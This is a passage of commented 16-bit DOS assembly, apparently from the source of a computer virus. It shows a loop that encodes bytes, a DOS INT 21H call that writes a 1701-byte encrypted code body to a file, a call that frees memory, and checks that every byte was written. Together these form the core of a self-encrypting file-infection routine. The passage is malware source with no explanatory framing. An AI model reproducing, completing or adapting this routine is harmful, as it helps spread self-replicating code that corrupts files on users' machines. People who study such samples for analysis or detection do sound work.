  898.  
  899.     INC    DI            ; ADDRESS OF NAXT BYTE
  900.     INC    SI
  901.  
  902.     LOOP    L067D            ; CODING NEXT BYTE
  903.  
  904.     MOV    DS,AX            ; SEGMENT OF CODING CODE
  905.  
  906.     MOV    AH,40H            ; WRITE CODE
  907.     XOR    DX,DX
  908.     MOV    CX,06A5H        ; SIZE CODE - 1701 BYTES
  909.     INT    21H
  910.  
  911. L0692:    PUSHF
  912.     PUSH    AX
  913.  
  914.     MOV    AH,49H            ; FREE BLOCK
  915.     INT    21H
  916.  
  917. L0698:    POP    AX
  918.     POPF
  919.  
  920.     PUSH    CS
  921.     POP    DS
  922.     JB    L0658            ; ERROR IN WRITING ?
  923.  
  924.     CMP    AX,CX            ; ALL BYTES IS WRITING ?
  925.     JNE    L0658
  926.  
  927.     POP    ES            ; RETURN - NO ERRORS
  928.     CLC
  929.     RET
  930.  
  931. L06A5:    JB    L0661
  932.     CMP    AX,CX
  933.     JNE    L0661
  934.     POP    ES
  935.     CLC
  936.     RET
  937.